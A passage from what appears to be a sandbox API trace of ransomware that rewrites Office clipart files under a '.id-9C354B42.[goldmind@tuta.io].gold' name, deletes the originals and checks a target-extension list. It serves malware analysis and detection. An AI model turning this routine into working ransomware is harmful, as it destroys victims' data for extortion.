0x3a0 [0094.430] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2052) returned 1 [0094.430] CloseHandle (hObject=0x3a0) returned 1 [0094.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x20 [0094.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.430] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.430] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.431] GetLastError () returned 0x0 [0094.431] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x804, lpOverlapped=0x0) returned 1 [0094.448] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x810, lpOverlapped=0x0) returned 1 [0094.448] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.448] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.449] SetEndOfFile (hFile=0x3b0) returned 1 [0094.449] CloseHandle (hObject=0x3b0) returned 1 [0094.449] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.449] SetEndOfFile (hFile=0x3a0) returned 1 [0094.450] CloseHandle (hObject=0x3a0) returned 1 [0094.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString=".doc") returned 4 [0094.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString=".docx") returned 5 [0094.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.500] lstrlenW (lpString=".pdf") returned 4 [0094.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString=".xls") returned 4 [0094.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.500] lstrlenW (lpString=".xlsx") returned 5 [0094.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.500] lstrlenW (lpString=".ppt") returned 4 [0094.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString=".zip") returned 4 [0094.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.500] lstrlenW (lpString=".rar") returned 4 [0094.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString=".bz2") returned 4 [0094.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString=".7z") returned 3 [0094.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString=".dbf") returned 4 [0094.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString=".1cd") returned 4 [0094.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString=".jpg") returned 4 [0094.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.500] lstrlenW (lpString=".doc") returned 4 [0094.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString=".docx") returned 5 [0094.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.500] lstrlenW (lpString=".pdf") returned 4 [0094.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.500] lstrlenW (lpString=".xls") returned 4 [0094.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.501] lstrlenW (lpString=".xlsx") returned 5 [0094.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.501] lstrlenW (lpString=".ppt") returned 4 [0094.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.501] lstrlenW (lpString=".zip") returned 4 [0094.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.501] lstrlenW (lpString=".rar") returned 4 [0094.501] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.501] lstrlenW (lpString=".bz2") returned 4 [0094.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.501] lstrlenW (lpString=".7z") returned 3 [0094.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.501] lstrlenW (lpString=".dbf") returned 4 [0094.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.501] lstrlenW (lpString=".1cd") returned 4 [0094.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 63 [0094.501] lstrlenW (lpString=".jpg") returned 4 [0094.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.501] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.501] lstrlenW (lpString="DD01173_.WMF") returned 12 [0094.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.502] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1804) returned 1 [0094.502] CloseHandle (hObject=0x3b0) returned 1 [0094.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x20 [0094.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.502] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.503] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0094.507] GetLastError () returned 0x0 [0094.507] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x70c, lpOverlapped=0x0) returned 1 [0094.511] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x710, lpOverlapped=0x0) returned 1 [0094.511] ReadFile (in: hFile=0x3b0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.511] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.511] SetEndOfFile (hFile=0x38c) returned 1 [0094.512] CloseHandle (hObject=0x38c) returned 1 [0094.512] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.512] SetEndOfFile (hFile=0x3b0) returned 1 [0094.513] CloseHandle (hObject=0x3b0) returned 1 [0094.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0094.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.577] lstrlenW (lpString=".doc") returned 4 [0094.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.577] lstrlenW (lpString=".docx") returned 5 [0094.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.577] lstrlenW (lpString=".pdf") returned 4 [0094.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.577] lstrlenW (lpString=".xls") returned 4 [0094.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.577] lstrlenW (lpString=".xlsx") returned 5 [0094.577] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.577] lstrlenW (lpString=".ppt") returned 4 [0094.577] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.577] lstrlenW (lpString=".zip") returned 4 [0094.577] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.577] lstrlenW (lpString=".rar") returned 4 [0094.577] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.577] lstrlenW (lpString=".bz2") returned 4 [0094.577] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.577] lstrlenW (lpString=".7z") returned 3 [0094.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".dbf") returned 4 [0094.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".1cd") returned 4 [0094.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".jpg") returned 4 [0094.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".doc") returned 4 [0094.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString=".docx") returned 5 [0094.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.578] lstrlenW (lpString=".pdf") returned 4 [0094.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString=".xls") returned 4 [0094.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.578] lstrlenW (lpString=".xlsx") returned 5 [0094.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.578] lstrlenW (lpString=".ppt") returned 4 [0094.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".zip") returned 4 [0094.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.578] lstrlenW (lpString=".rar") returned 4 [0094.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString=".bz2") returned 4 [0094.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString=".7z") returned 3 [0094.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".dbf") returned 4 [0094.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".1cd") returned 4 [0094.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 63 [0094.578] lstrlenW (lpString=".jpg") returned 4 [0094.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.578] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.578] lstrlenW (lpString="DD01181_.WMF") returned 12 [0094.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.589] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1448) returned 1 [0094.589] CloseHandle (hObject=0x3a0) returned 1 [0094.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0094.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0094.635] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.635] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0094.635] GetLastError () returned 0x0 [0094.635] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5a8, lpOverlapped=0x0) returned 1 [0094.641] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0094.642] ReadFile (in: hFile=0x39c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.642] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.642] SetEndOfFile (hFile=0x3bc) returned 1 [0094.648] CloseHandle (hObject=0x3bc) returned 1 [0094.656] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.656] SetEndOfFile (hFile=0x39c) returned 1 [0094.666] CloseHandle (hObject=0x39c) returned 1 [0094.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.667] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0094.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.668] lstrlenW (lpString=".doc") returned 4 [0094.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.668] lstrlenW (lpString=".docx") returned 5 [0094.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.668] lstrlenW (lpString=".pdf") returned 4 [0094.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.668] lstrlenW (lpString=".xls") returned 4 [0094.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.668] lstrlenW (lpString=".xlsx") returned 5 [0094.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.668] lstrlenW (lpString=".ppt") returned 4 [0094.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString=".zip") returned 4 [0094.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.669] lstrlenW (lpString=".rar") returned 4 [0094.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString=".bz2") returned 4 [0094.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString=".7z") returned 3 [0094.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString=".dbf") returned 4 [0094.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString=".1cd") returned 4 [0094.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString=".jpg") returned 4 [0094.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString=".doc") returned 4 [0094.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString=".docx") returned 5 [0094.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.669] lstrlenW (lpString=".pdf") returned 4 [0094.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString=".xls") returned 4 [0094.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.669] lstrlenW (lpString=".xlsx") returned 5 [0094.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.669] lstrlenW (lpString=".ppt") returned 4 [0094.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.669] lstrlenW (lpString=".zip") returned 4 [0094.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.670] lstrlenW (lpString=".rar") returned 4 [0094.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.670] lstrlenW (lpString=".bz2") returned 4 [0094.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.670] lstrlenW (lpString=".7z") returned 3 [0094.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.670] lstrlenW (lpString=".dbf") returned 4 [0094.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.670] lstrlenW (lpString=".1cd") returned 4 [0094.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0094.670] lstrlenW (lpString=".jpg") returned 4 [0094.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.670] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.670] lstrlenW (lpString="DD01434_.WMF") returned 12 [0094.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.845] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=900) returned 1 [0094.845] CloseHandle (hObject=0x3b8) returned 1 [0094.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0094.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 